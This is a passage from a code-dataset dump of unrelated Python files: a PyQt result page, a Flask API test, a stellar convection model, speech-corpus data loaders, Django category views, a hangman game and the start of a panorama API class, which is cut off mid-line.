arrival_time = \" arrival time \" + str(arrival_hour) + \":\" + str(arrival_minute)\r\n\r\n self.arrival_time_label.setText(arrival_time)\r\n self.arrival_time_label.setStyleSheet(\"QLabel{color: #4B4C51;}\")\r\n\r\n\r\n # show exit\r\n exit_list = result[5]\r\n\r\n exit_widget = QWidget()\r\n main_exit_layout = QVBoxLayout()\r\n\r\n for i in range(len(exit_list)):\r\n HLayout = QHBoxLayout()\r\n exit_no = QLabel(\" \" + str(i))\r\n exit_no.setStyleSheet(\"QLabel{font-size:48px;font:bold;color: #8F8E8B}\")\r\n\r\n VLayout = QVBoxLayout()\r\n transportation_list = exit_list[i].split(\",\")\r\n \r\n for n in transportation_list:\r\n exit_way = QLabel(n)\r\n exit_way.setStyleSheet(\"QLabel{color: #8F8E8B; font-size:15px}\")\r\n VLayout.addWidget(exit_way)\r\n \r\n \r\n\r\n \r\n HLayout.addWidget(exit_no)\r\n HLayout.addLayout(VLayout)\r\n\r\n tempWidget = QFrame()\r\n tempWidget.setLayout(HLayout)\r\n tempWidget.setStyleSheet(\"QFrame{background-color:#ffffff}\")\r\n main_exit_layout.addWidget(tempWidget)\r\n #main_exit_layout.addLayout(HLayout)\r\n\r\n exit_widget.setLayout(main_exit_layout)\r\n self.exit_scroll_area.setWidget(exit_widget)\r\n \r\n\r\n ## place widget ##\r\n place_list = result[6]\r\n\r\n widget = QWidget()\r\n widget.setStyleSheet(\"background-color: #F3F3F3\")\r\n main_place_layout = QHBoxLayout()\r\n \r\n for n in place_list:\r\n place_button = QPushButton()\r\n self.connect(place_button, SIGNAL(\"clicked()\"), lambda place_name = n: self.showDialogBox(place_name))\r\n place_details = self.parent.user_request([\"place_details\", n])\r\n place_button.setStyleSheet(\"QPushButton{border-image:url(\\\"\" + place_details[1] + \".png\\\"); width:312px; height:180px;} QPushButton:hover{border-image:url(\\\"\" + place_details[1] + \"_2.png\\\"); width:312px; height:180px;}\")\r\n\r\n layout = QVBoxLayout()\r\n layout.addWidget(place_button)\r\n main_place_layout.addLayout(layout)\r\n\r\n #layout = QVBoxLayout()\r\n #layout.addWidget(place_button)\r\n #frame = QFrame()\r\n #frame.setLayout(layout)\r\n #frame.resize(310,180)\r\n #main_place_layout.addWidget(frame)\r\n main_place_layout.addLayout(layout)\r\n \r\n widget.setLayout(main_place_layout)\r\n self.place_scroll_area.setWidget(widget)\r\n \r\n\r\n def showDialogBox(self, place_name):\r\n ## show error in form of dialog box ##\r\n self.blur_bg_label.setVisible(True)\r\n \r\n result = self.parent.user_request([\"place_details\", place_name])\r\n\r\n self.dialogBox = QDialog(self)\r\n self.dialogBox.setMinimumSize(730, 730)\r\n \r\n layout = QVBoxLayout()\r\n\r\n loader = QUiLoader()\r\n dialogForm = loader.load(\"UIDesign/place_detail_dialog_box.ui\")\r\n layout.addWidget(dialogForm)\r\n\r\n\r\n self.place_name_label = dialogForm.findChild(QLabel, \"place_name_label\")\r\n self.place_name_label.setText(result[0])\r\n \r\n self.place_pic_label = dialogForm.findChild(QLabel, \"place_picture_label\")\r\n self.place_pic_label.setStyleSheet(\"QLabel{border-image:url(\\\"\" + result[1] + \"\\\"); width:312px; height:180px;}\")\r\n\r\n self.place_detail_label = dialogForm.findChild(QLabel, \"place_detail_label\")\r\n self.place_detail_label.setText(result[2])\r\n\r\n self.place_address_label = dialogForm.findChild(QLabel, \"place_address_label\")\r\n self.place_address_label.setText(result[3])\r\n \r\n self.close_button = dialogForm.findChild(QPushButton, \"close_button\")\r\n self.close_button.clicked.connect(self.closeKub)\r\n\r\n self.dialogBox.setLayout(layout)\r\n self.dialogBox.show()\r\n\r\n def closeKub(self):\r\n self.blur_bg_label.setVisible(False)\r\n self.dialogBox.close()\r\n\r\n \r\n'''\r\ndef main():\r\n app = QApplication(sys.argv)\r\n\r\n w = PathResultPage()\r\n w.show()\r\n return app.exec_()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\n'''\r\n\r\n","sub_path":"UI_result_page.py","file_name":"UI_result_page.py","file_ext":"py","file_size_in_byte":7944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"83032590","text":"import datetime\nimport json\nfrom unittest import TestCase\nfrom app import app, db\nfrom mock import patch\nfrom models import City\nfrom tests.runner import clear_db\n\n\nclass TestDataApi(TestCase):\n\n def setUp(self):\n self.app_context = app.test_request_context()\n self.app_context.push()\n self.client = app.test_client()\n self.app = app\n db.create_all()\n self.db = db\n\n def tearDown(self):\n clear_db(self.db)\n\n def test_return_cases_by_state_without_reports(self):\n resp = self.client.get('/data_api/v1/data/state/SP')\n data = json.loads(resp.get_data(as_text=True))\n\n assert len(data) == 4\n\n assert 'activeCases' in data\n assert 'suspectedCases' in data\n assert 'recoveredCases' in data\n assert 'deaths' in data\n\n assert data['activeCases'] == 0\n assert data['suspectedCases'] == 0\n assert data['recoveredCases'] == 0\n assert data['deaths'] == 0\n\n def test_return_cases_by_state_with_reports(self):\n # Generate test data\n City().save(self.db.session, city='Igarapava', state='SP',\n country='Brasil', total_cases=45, suspects=35, refuses=3, deaths=2, recovered=1)\n City().save(self.db.session, city='Franca', state='SP',\n country='Brasil', total_cases=50, suspects=35, refuses=3, deaths=1, recovered=1)\n\n # Should not include this data\n City().save(self.db.session, city='Uberaba', state='MG',\n country='Brasil', total_cases=50, suspects=35, refuses=3, deaths=1, recovered=1)\n self.db.session.commit()\n\n resp = self.client.get('/data_api/v1/data/state/SP')\n data = json.loads(resp.get_data(as_text=True))\n\n assert len(data) == 4\n\n assert 'activeCases' in data\n assert 'suspectedCases' in data\n assert 'recoveredCases' in data\n assert 'deaths' in data\n\n assert data['activeCases'] == 14\n assert data['suspectedCases'] == 70\n assert data['recoveredCases'] == 2\n assert data['deaths'] == 3\n","sub_path":"tests/test_services/test_data_api.py","file_name":"test_data_api.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"281185039","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport constants as c\nfrom project_1 import StellarCore\n\nclass Convection:\n L0 = c.L_sol # Solar luminosity; W\n M0 = c.M_sol # Solar mass; kg\n \n X = 0.7 # Hydrogen-1\n Y = 0.29 # Helium-3\n Y_3 = 1e-10 # Helium-4\n Z = 0.01 # \"Metals\"\n Z_73 = 1e-13 # Lithium-7\n Z_74 = 1e-13 # Berrylium-7\n \n delta = 1\n del_ad = 2/5\n \n def __init__(self, alpha, my=0.6182380216):\n self.alpha = alpha\n self.my = my\n self.R0 = c.R_sol\n self.rho0 = 1.42e-7*c.rho_sol\n self.T0 = c.T_sol_surf\n self.c_P = 5/2*c.k_B/(my*c.m_u)\n \n def del_radiation(self, rho, T, M, R, kappa):\n \"\"\"\n Returning del radiation\n \"\"\"\n \n H_P = self.H_P(rho, T, M, R)\n \n return (3*self.L0*kappa*rho*H_P)/(64*np.pi*c.sigma*T**4*R**2)\n \n def del_star(self, rho, T, M, R, kappa):\n \"\"\"\n Returning del star\n \"\"\"\n \n alpha = self.alpha\n \n xi = self.xi(rho, T, M, R, kappa)\n H_P = self.H_P(rho, T, M, R)\n U = self.U(rho, T, M, R, kappa, H_P)\n l_m = alpha*H_P\n \n return xi**2 + 4/l_m*U/(alpha*H_P)*xi + self.del_ad\n \n def del_parcel(self, rho, T, M, R, kappa):\n \"\"\"\n Returning del parcel\n \"\"\"\n \n del_s = self.del_star(rho, T, M, R, kappa)\n xi = self.xi(rho, T, M, R, kappa)\n \n return del_s - xi**2\n \n def F_C(self, rho, T, M, R, kappa):\n \"\"\"\n Returning F_C\n \"\"\"\n \n c_P = self.c_P\n delta = self.delta\n \n del_s = self.del_star(rho, T, M, R, kappa)\n del_p = self.del_parcel(rho, T, M, R, kappa)\n \n H_P = self.H_P(rho, T, M, R)\n g = self.gravity(M, R)\n l_m = self.alpha*H_P\n \n return rho*c_P*T*np.sqrt(g*delta)*H_P**(-3/2)*(l_m/2)**2*(del_s - del_p)**(3/2)\n \n def F_R(self, rho, T, M, R, kappa):\n \"\"\"\n Return F_R---WOEFMEOM\n \"\"\"\n \n del_s = self.del_star(rho, T, M, R, kappa)\n H_P = self.H_P(rho, T, M, R)\n \n return (16*c.sigma*T**4)/(3*kappa*rho*H_P)*del_s\n \n def gravity(self, M, R):\n \"\"\"\n Gravity.\n \"\"\"\n return c.G*M/R**2\n \n def U(self, rho, T, M, R, kappa, H_P):\n \"\"\"\n Fill in\n \"\"\"\n g = self.gravity(M, R)\n return (64*c.sigma*T**3)/(3*kappa*rho**2*self.c_P)*np.sqrt(H_P/(g*self.delta))\n \n def H_P(self, rho, T, M, R):\n \"\"\"\n Scale height\n \"\"\"\n \n return c.k_B*T/(self.gravity(M, R)*self.my*c.m_u)\n \n def l_m(self, rho, T, M, R):\n \"\"\"\n Mixing length\n \"\"\"\n H_P = self.H_P(rho, T, M, R)\n \n return self.alpha*H_P\n \n def xi(self, rho, T, M, R, kappa):\n \"\"\"\n Function for finding xi-value.\n \"\"\"\n \n alpha = self.alpha\n \n H_P = self.H_P(rho, T, M, R)\n U = self.U(rho, T, M, R, kappa, H_P)\n l_m = alpha*H_P\n \n del_rad = self.del_radiation(rho, T, M, R, kappa)\n \n p = np.array([1, U/(alpha*H_P)**2, (4/l_m)*(U**2/(alpha*H_P)**3),\n -(U/(alpha*H_P)**2)*(del_rad - self.del_ad)])\n xi = np.roots(p)\n xi_real = xi[np.where(np.imag(xi) == 0)]\n \n if len(xi_real) > 1:\n print(\"We've gotten more than one xi; try new values.\")\n exit()\n \n return np.real(xi_real)\n \n def velocity(self, rho, T, M, R, kappa):\n \"\"\"\n Velocity of parcel???\n \"\"\"\n \n del_s = self.del_star(rho, T, M, R, kappa)\n del_P = self.del_parcel(rho, T, M, R, kappa)\n \n g = self.gravity(M, R)\n H_P = self.H_P(rho, T, M, R)\n l_m = self.alpha*H_P\n \n return np.sqrt(g*self.delta*l_m**2/(4*H_P))*np.sqrt(del_s - del_P)\n \ndef sanity_values():\n \"\"\"\n Sanity test\n \"\"\"\n T, rho, R, M = 0.9e6, 55.9, 0.84*c.R_sol, 0.99*c.M_sol\n kappa, alpha = 3.98, 1\n a = Convection(alpha, my=0.6)\n \n del_rad = a.del_radiation(rho, T, M, R, kappa)\n \n H_P = a.H_P(rho, T, M, R)\n l_m = alpha*H_P\n r_p = l_m/2\n U_ = a.U(rho, T, M, R, kappa, H_P)\n xi = a.xi(rho, T, M, R, kappa)\n v = a.velocity(rho, T, M, R, kappa)\n F_C = a.F_C(rho, T, M, R, kappa)\n F_R = a.F_R(rho, T, M, R, kappa)\n \n del_s = xi**2 + 2/r_p*U_/(alpha*H_P)*xi + a.del_ad\n \n print(\"del_ad < del_p < del_s < del_rad\")\n print(\" {0:.1f} < {1:.6f} < {2:.6f} < {3:.5f}\".format(a.del_ad,\n a.del_parcel(rho, T, M, R, kappa)[0], del_s[0], del_rad))\n \n return del_rad, H_P/1e6, U_, xi, del_s, v, F_C/(F_C + F_R), F_R/(F_C + F_R)\n\ndef print_sanity():\n print(\"-------------------------\")\n print(\" Sanity test \")\n print(\"-------------------------\")\n \n x = np.zeros(8)\n x += sanity_values()\n \n print(\"\")\n print(\" del_rad = {:.2f}\".format(x[0]))\n print(\" HP = {:2.1f}\".format(x[1]))\n print(\" U = {:.2e}\".format(x[2]))\n print(\" xi = {:.3e}\".format(x[3]))\n print(\" del_star = {:.3f}\".format(x[4]))\n print(\" v = {:2.2f}\".format(x[5]))\n print(\" FC/(FC+FR) = {:.2f}\".format(x[6]))\n print(\" FR/(FC+FR) = {:.2f}\".format(x[7]))\n\ndef sanity_del():\n \"\"\"\n 1st sanity plot\n \"\"\"\n T, rho, R, M = 0.9e6, 55.9, 0.84*c.R_sol, 0.99*c.M_sol\n kappa, alpha = 3.98, 1\n \n a = Convection(alpha, my=0.6)\n b = StellarCore(R0=R, rho0=rho, T0=T, M0=M)\n \n R = np.linspace(c.R_sol, 1e-7, 1001)\n l = len(R)\n \n del_rad = np.zeros(l)\n del_s = np.zeros(l)\n del_ad = a.del_ad*np.ones(l)\n \n for i in range(l):\n \"\"\"\n UPDATE rho, T, M EVERY TEIM!!!!\n \"\"\"\n del_rad[i] = a.del_radiation(rho, T, M, R[i], kappa)\n del_s[i] = a.del_star(rho, T, M, R[i], kappa)\n \n plt.semilogy(R/c.R_sol, del_rad)\n plt.semilogy(R/c.R_sol, del_s)\n plt.semilogy(R/c.R_sol, del_ad)\n \n plt.show()\n\nif __name__ == \"__main__\":\n #a = Convection(1)\n print_sanity()\n sanity_del()","sub_path":"src/project_2.py","file_name":"project_2.py","file_ext":"py","file_size_in_byte":6385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"274166926","text":"import fnmatch\nimport os\nimport pandas as pd\nimport char_map\nfrom utils import text_to_int_sequence\nimport subprocess\n\n#######################################################\n\ndef read_text(full_wav):\n # need to remove _rif.wav (8chars) then add .TXT\n trans_file = full_wav[:-8] + \".TXT\"\n with open(trans_file, \"r\") as f:\n for line in f:\n split = line.split()\n start = split[0]\n end = split[1]\n t_list = split[2:]\n trans = \"\"\n # insert cleaned word (lowercase plus removed bad punct)\n for i, w in enumerate(t_list):\n if(i==0):\n trans = trans + clean(w)\n else:\n trans = trans + ' ' + clean(w)\n\n # trans = trans + '\\n' ## temp output for wordlist file\n\n return start, end, trans\n\n# token = re.compile(\"[\\w-]+|'m|'t|'ll|'ve|'d|'s|\\'\")\ndef clean(word):\n ## LC ALL & strip fullstop, comma and semi-colon which are not required\n new = word.lower().replace('.', '')\n new = new.replace(',', '')\n new = new.replace(';', '')\n new = new.replace('\"', '')\n new = new.replace('!', '')\n new = new.replace('?', '')\n new = new.replace(':', '')\n new = new.replace('-', '')\n return new\n\n\n\ndef get_all_wavs_in_path(target, sortagrad=True):\n '''\n\n Builds a list of the wavs, transcriptions and finish times (for sorting) of a directory\n\n :param target: directory to search for wavs\n :param sortagrad: sort all dataframes\n :return: dataproperties dict and 4 dataframes (all/train/valid/test)\n\n '''\n\n train_list_wavs, train_list_trans, train_list_fin = [], [], []\n valid_list_wavs, valid_list_trans, valid_list_fin = [], [], []\n test_list_wavs, test_list_trans, test_list_fin = [], [], []\n\n file_count = 0\n for root, dirnames, filenames in os.walk(target):\n for filename in fnmatch.filter(filenames, \"*.wav\"):\n\n full_wav = os.path.join(root, filename)\n _, end, trans = read_text(full_wav)\n\n if 'train' in full_wav.lower():\n train_list_wavs.append(full_wav)\n train_list_trans.append(trans)\n train_list_fin.append(end)\n\n elif 'test' in full_wav.lower():\n ##split 50/50 into validation and test (note not random)\n if file_count % 2 == 0:\n test_list_wavs.append(full_wav)\n test_list_trans.append(trans)\n test_list_fin.append(end)\n else:\n valid_list_wavs.append(full_wav)\n valid_list_trans.append(trans)\n valid_list_fin.append(end)\n else:\n raise IOError\n\n file_count = file_count + 1\n\n\n a = {'wav_filename': train_list_wavs,\n 'wav_filesize': train_list_fin,\n 'transcript': train_list_trans}\n\n b = {'wav_filename': valid_list_wavs,\n 'wav_filesize': valid_list_fin,\n 'transcript': valid_list_trans}\n\n c = {'wav_filename': test_list_wavs,\n 'wav_filesize': test_list_fin,\n 'transcript': test_list_trans}\n\n al = {'wav_filename': train_list_wavs+valid_list_wavs+test_list_wavs,\n 'wav_filesize': train_list_fin+valid_list_fin+test_list_fin,\n 'transcript': train_list_trans+valid_list_trans+test_list_trans}\n\n\n df_all = pd.DataFrame(al, columns=['wav_filename', 'wav_filesize', 'transcript'], dtype=int)\n df_train = pd.DataFrame(a, columns=['wav_filename', 'wav_filesize', 'transcript'], dtype=int)\n df_valid = pd.DataFrame(b, columns=['wav_filename', 'wav_filesize', 'transcript'], dtype=int)\n df_test = pd.DataFrame(c, columns=['wav_filename', 'wav_filesize', 'transcript'], dtype=int)\n\n # if sortagrad is enabled sort the data for the first epoch (training only)\n if sortagrad:\n df_all = df_all.sort_values(by='wav_filesize', ascending=True)\n df_train = df_train.sort_values(by='wav_filesize', ascending=True)\n\n\n comb = train_list_trans + test_list_trans + valid_list_trans\n print(\"All combined:\", len(comb))\n print(\"Train/Test/Valid:\",len(train_list_wavs), len(test_list_wavs), len(valid_list_wavs))\n # 6300 TIMIT\n # (4620, 840, 840) TIMIT\n\n ## SIZE CHECKS\n max_intseq_length = get_max_intseq(comb)\n num_classes = get_number_of_char_classes()\n\n print(\"max_intseq_length:\", max_intseq_length)\n print(\"numclasses:\", num_classes)\n\n # VOCAB CHECKS\n all_words, max_trans_charlength = get_words(comb)\n print(\"max_trans_charlength:\", max_trans_charlength)\n # ('max_trans_charlength:', 80)\n\n all_vocab = set(all_words)\n print(\"Words:\", len(all_words))\n print(\"Vocab:\", len(all_vocab))\n\n dataproperties = {\n 'target': target,\n 'num_classes': num_classes,\n 'all_words': all_words,\n 'all_vocab': all_vocab,\n 'max_trans_charlength': max_trans_charlength,\n 'max_intseq_length': max_intseq_length\n }\n\n # create a lm from all words\n # try:\n # print(\"Trying to build 4-gram LM from all data\")\n #\n # with open('./lm/word_list.txt', 'w') as f:\n # f.write(' '.join(comb)) #todo handle newlines\n #\n # ps = subprocess.Popen(('cat','./lm/word_list.txt'), stdout=subprocess.PIPE)\n # args = \"-o 4 \"\n # output = subprocess.check_call([\"/home/rob/Dropbox/UCL/DIS/kenlm/kenlm/bin/lmplz\", args], stdin=ps.stdout) #todo\n # ps.wait()\n\n # except Exception as e:\n # print(\"Couldn't run language model build command\")\n # print(e)\n # raise(e)\n\n return dataproperties, df_all, df_train, df_valid, df_test\n\n\n\n\ndef check_all_wavs_and_trans_from_csvs(csvs, timit, sortagrad=True):\n\n #passed in df_frame\n df_all = timit\n\n for csv in csvs.split(','):\n print(\"Reading csv:\",csv)\n df_new = pd.read_csv(csv, sep=',')\n df_all = df_all.append(df_new)\n\n print(\"Finished reading in data\")\n\n # df_all['transcript'].to_csv(\"./lm/df_all_libri_timit_word_list.csv\", sep=',', header=False, index=False) # reorder + out\n\n listcomb = df_all['transcript'].tolist()\n print(\"Total number of files:\", len(listcomb))\n\n print(\"removing any sentences that are too big- tweetsize\")\n df_final = df_all[df_all['transcript'].map(len) <= 140]\n\n listcomb = df_final['transcript'].tolist()\n print(\"Total number of files (after reduction):\", len(listcomb))\n\n comb = []\n\n for t in listcomb:\n comb.append(' '.join(t.split()))\n\n # print(\"Train/Test/Valid:\",len(train_list_wavs), len(test_list_wavs), len(valid_list_wavs))\n # 6300 TIMIT\n # (4620, 840, 840) TIMIT\n\n\n\n ## SIZE CHECKS\n max_intseq_length = get_max_intseq(comb)\n num_classes = get_number_of_char_classes()\n\n print(\"max_intseq_length:\", max_intseq_length)\n print(\"numclasses:\", num_classes)\n\n # VOCAB CHECKS\n all_words, max_trans_charlength = get_words(comb)\n print(\"max_trans_charlength:\", max_trans_charlength)\n # ('max_trans_charlength:', 80)\n\n ## TODO could readd the mfcc checks for safety\n # ('max_mfcc_len:', 778, 'at comb index:', 541)\n\n all_vocab = set(all_words)\n print(\"Words:\", len(all_words))\n print(\"Vocab:\", len(all_vocab))\n\n dataproperties = {\n 'target': \"timit+librispeech\",\n 'num_classes': num_classes,\n 'all_words': all_words,\n 'all_vocab': all_vocab,\n 'max_trans_charlength': max_trans_charlength,\n 'max_intseq_length': max_intseq_length\n }\n\n if sortagrad:\n df_final = df_final.sort_values(by='wav_filesize', ascending=True)\n else:\n df_final = df_final.sample(frac=1).reset_index(drop=True)\n\n return dataproperties, df_final\n\n\ndef get_data_from_pandas_files(target, sortagrad=True):\n '''Different approach to loading in data. Assume that pandas frame already exists with data in form\n path, size, transcript\n this is best approach for loading in moz deepspeech processed files.\n '''\n\n ## read in file\n\n ## sortagrad\n\n ## run checks (might need to adjust nn or drop any too large)\n\n pass\n return\n\n\n\n\n\n##DATA CHECKS RUN ALL OF THESE\n\ndef get_words(comb):\n max_trans_charlength = 0\n all_words = []\n\n for count, sent in enumerate(comb):\n # count length\n if len(sent) > max_trans_charlength:\n max_trans_charlength = len(sent)\n # build vocab\n for w in sent.split():\n all_words.append(clean(w))\n\n return all_words, max_trans_charlength\n\ndef get_max_intseq(comb):\n max_intseq_length = 0\n for x in comb:\n try:\n y = text_to_int_sequence(x)\n if len(y) > max_intseq_length:\n max_intseq_length = len(y)\n except:\n print(\"error at:\", x)\n return max_intseq_length\n\ndef get_number_of_char_classes():\n ## TODO would be better to check with dataset (once cleaned)\n num_classes = len(char_map.char_map)+1 ##need +1 for ctc null char +1 pad\n return num_classes\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":8956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"97778499","text":"from django.shortcuts import render,reverse\nfrom django.http import HttpResponse,JsonResponse\nfrom .. models import admin,Types\nimport os\n# Create your views here.\ndef addtop(request):\n\tif request.method == 'GET':\n\t\treturn render(request,'myadmin/types/addtop.html')\n\n\tif request.method == 'POST':\n\n\t\t# 保存数据\n\t\tobj = Types()\n\t\tobj.tname = request.POST['name']\n\t\tobj.pid = request.POST['pid']\n\t\tobj.path = '0,'\n\t\tobj.save()\n\t\t# 跳转到分类列表页\n\t\treturn HttpResponse('')\n\n\ndef add(request):\n\t# 如果是get 方式 那么就执行添加\n\tif request.method == 'GET':\n\n\t\tdata = Types.objects.extra(select={'paths':'concat(path,id)'}).order_by('paths')\n\t\t\t\n\t\t# content = {'tnamelist':data}\n\t\tif not data:\n\t\t\treturn HttpResponse('')\n\t\telse:\n\t\t\tfor i in data:\n\t\t\t\tnum = i.path.count(',')-1\n\t\t\t\ti.tname = '------' * num + i.tname\n\t\t\tcontent = {'data':data}\n\t\t\t# 跳转到添加页面\n\t\t\treturn render(request,'myadmin/types/add.html',content)\n\n\t# 如果是post方式 那么就执行保存\n\tif request.method == 'POST':\n\t\t# 保存数据\n\n\t\tobj = Types()\n\t\tname = request.POST['name']\n\t\tget_all_data = Types.objects.all()\n\t\tn = 0\n\t\tfor i in get_all_data:\n\t\t\tif i.tname == name:\n\t\t\t\tn += 1\n\t\tif n == 0:\n\n\t\t\tobj.tname = request.POST['name']\n\n\n\t\t\tobj.pid = request.POST['pid']\n\n\t\t\tif obj.pid == '0':\n\t\t\t\tobj.path = '0,'\n\t\t\telse:\n\t\t\t\tpa = Types.objects.get(id = obj.pid)\n\t\t\t\tobj.path = pa.path + str(obj.pid) + ','\n\t\t\tobj.save()\n\t\t\t# 跳转到分类列表页\n\t\t\treturn HttpResponse('')\n\t\telse:\n\n\t\t\treturn HttpResponse('')\n\n\ndef list(request):\n\n\tsor = request.GET.get('uid','id')\n\ttypes = request.GET.get('type',None)\n\tkeywords = request.GET.get('keywords',None)\n\tsear = []\n\n\tif types:\n\n # 有搜索条件\n\t\tif types == 'all':\n # 全条件搜索\n # select * from user where username like '%aa%' \n \n\t\t\tfrom django.db.models import Q\n\t\t\tobj = Types.objects.filter(\n Q(tname__contains=keywords)|\n Q(id__contains=keywords)|\n Q(pid__contains=keywords)|\n Q(path__contains=sear)\n )\n\n\t\telif types == 'typesname':\n # 按照用户名搜索\n\t\t\tobj = Types.objects.filter(tname__contains=keywords)\n \n\t\telif types == 'id':\n # 按照年龄搜索\n\t\t\tobj = Types.objects.filter(id__contains=keywords)\n\n\t\telif types == 'pid':\n # 按照 email 搜索\n\t\t\tobj = Types.objects.filter(pid__contains=keywords)\n\n\t\telif types == 'level':\n\t\t\tif keywords.isdigit():\n\t\t\t\tobj = Types.objects.filter()\n\t\t\tfor i in obj:\n\t\t\t\n\t\t\t\tif i.path.count(',') == int(keywords):\n\t\t\t\t\tsear.append(i.id)\n\t\t\tobj = Types.objects.filter(id__in=sear)\n\telse:\n # 获取所有的用户数据\n\t\tobj = Types.objects.filter()\n\n\tdata = obj.order_by(sor)\n\n\t\n\tfor i in data:\n\t\tnum = i.path.count(',')-1\n\t\ti.tname = '------' * num + i.tname\n\t\tif i.pid == 0:\n\t\t\ti.pname = i.tname\n\t\telse:\n\t\t\t\n\t\t\tp = Types.objects.get(id = i.pid)\n\t\t\ti.pname = p.tname\n\n\n\tfrom django.core.paginator import Paginator\n # 实例化分页对象,参数1,数据集合,参数2 每页显示条数\n\tpaginator = Paginator(data,10)\n # 获取当前页码数\n\tp = request.GET.get('p',1)\n # 获取当前页的数据\n\tdata = paginator.page(p)\n\t# 参数设置\n\t\n\tcontent = {'data':data}\n\t# 跳转到添加页面\n\treturn render(request,'myadmin/types/list.html',content)\n\t\n\t# data = Types.objects.all()\n\n\t# content = {'data':data}\n\n\t# return render(request,'myadmin/types/list.html',content)\n\t# return HttpResponse(123)\n\ndef delete(request):\n\tuid = request.GET.get('uid',None)\n\tnum = Types.objects.filter(pid = uid).count()\n\tobj = Types.objects.get(id = uid)\n\tif num != 0:\n\t\treturn HttpResponse('')\n\telse:\n\t\tgoodsnum = obj.goods_set.all().count()\n\t\tif goodsnum != 0:\n\t\t\treturn HttpResponse('')\n\t\telse:\n\t\t\tobj.delete()\n\t\t\treturn HttpResponse('')\n\ndef update(request):\n\n\tif request.method == 'GET':\n\n\t\tuid = request.GET.get('uid',None)\n\n\t\tobj = Types.objects.filter()\n\t\tobj = obj.order_by('path')\n\t\t# content = {'tnamelist':data}\n\t\n\t\tfor i in obj:\n\t\t\tnum = i.path.count(',')-1\n\t\t\ti.tname = '------' * num + i.tname\n\t\tcontent = {'data':obj}\n\n\t\treturn render(request,'myadmin/types/update.html',content)\n\t\n\tif request.method == 'POST':\n\n\t\tuid = request.POST.get('uid',None)\n\n\t\tname = request.POST.get('name',None)\n\n\t\tobj = Types.objects.get(id = uid)\n\t\t\n\t\tobj.tname = name\n\n\t\tobj.path = obj.path\n\t\tobj.pid = obj.pid\n\t\tobj.save()\n\n\t\treturn HttpResponse('')\n\n\n\n\n","sub_path":"myprojectc/myadmin/views/typesviews.py","file_name":"typesviews.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"198771427","text":"import model\n\n\ndef izpis_igre(igra):\n tekst = (\n '==================================================\\n\\n'\n 'Število preostalih poskusov: {stevilo_preostalih_poskusov} \\n\\n'\n ' {pravilni_del_gesla}\\n\\n'\n 'Neuspeli poskusi: {neuspeli_poskusi}\\n\\n'\n '=================================================='\n ).format(\n stevilo_preostalih_poskusov = model.STEVILO_DOVOLJENIH_NAPAK - igra.stevilo_napak() + 1,\n pravilni_del_gesla = igra.pravilni_del_gesla(),\n neuspeli_poskusi = igra.nepravilni_ugibi()\n )\n return tekst\n\n\ndef izpis_zmage(igra):\n tekst = (\n '\\n####Juuuupppiiiii, zmagaa! Geslo je bilo: {geslo} ####\\n\\n'\n ).format(\n geslo = igra.pravilni_del_gesla()\n )\n return tekst\n\n\ndef izpis_poraza(igra):\n tekst = (\n '\\n#####Boooooooo, izgubil si! Geslo je bilo: {geslo} #####\\n\\n'\n ).format(\n geslo = igra.geslo\n )\n return tekst\n\n\ndef izpis_napake():\n return '\\n#### Ugiba se točno ena črka naenkrat! ####\\n\\n'\n\ndef izpis_napake_znak():\n return '\\n#### Ugib naj ne vsebje posebnih znakov! ####\\n\\n'\n\ndef zahtevaj_vnos():\n return input('Črka: ')\n\n\ndef pozeni_vmesnik():\n\n igra = model.nova_igra()\n\n while True:\n #najprej izpisemo stanje, da vidimo, koliko črk ima beseda\n print(izpis_igre(igra))\n #čakamo na črko od uporabnika\n poskus = zahtevaj_vnos()\n rezultat_ugiba = igra.ugibaj(poskus)\n if rezultat_ugiba == model.VEC_KOT_CRKA:\n print(izpis_napake())\n elif rezultat_ugiba == model.POSEBEN_ZNAK:\n print(izpis_napake_znak())\n elif rezultat_ugiba == model.ZMAGA:\n print(izpis_zmage(igra))\n ponovni_zagon = input(\"Za ponovni zagon vpišite 1. \\n\").strip()\n if ponovni_zagon == \"1\":\n igra = model.nova_igra()\n else:\n break\n elif rezultat_ugiba == model.PORAZ:\n print(izpis_poraza(igra))\n ponovni_zagon = input(\"Za ponovni zagon vpišite 1. \\n\").strip()\n if ponovni_zagon == \"1\":\n igra = model.nova_igra()\n else:\n break\n\n\n#Zaženi igro:\npozeni_vmesnik()\n","sub_path":"tekstovni_vmesnik.py","file_name":"tekstovni_vmesnik.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"385177116","text":"import os\nimport re\n\nptr = [\"\\W\"]\npath ='/home/ihpc/Kawano/test'\n\nfor filename in os.listdir(path): # read files in the directory\n print(\"++New file is open here!!!!\", filename)\n\n f = open(filename)\n data1 = f.read()\n print(data1)\n lines1 = data1.split('\\n')\n print (lines1)\n for line in lines1:\n print(\"-----\",line)\n f.close()\n","sub_path":"copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"12273932","text":"import os\nfrom os.path import splitext\nimport urllib.request\nfrom API.base_panorama import BasePanorama\nimport numpy as np\nfrom models.deeplab import plot_segmentation\n\n\ndef _meta_fp(panorama_fp):\n base_fp = splitext(panorama_fp)[0]\n return base_fp+\"_meta\"+\".json\"\n\n\nclass AdamPanorama(BasePanorama):\n \" Object for using the Amsterdam data API with equirectengular data. \"\n def __init__(self, meta_data, data_src=\"data.amsterdam\", data_dir=None):\n if data_dir is None:\n data_dir = os.path.join(data_src, \"pics\")\n super(AdamPanorama, self).__init__(\n meta_data=meta_data,\n data_dir=data_dir,\n data_src=data_src,\n )\n self.seg_res = None\n\n def parse(self, meta_data):\n \" Get some universally used data. \"\n self.meta_data = 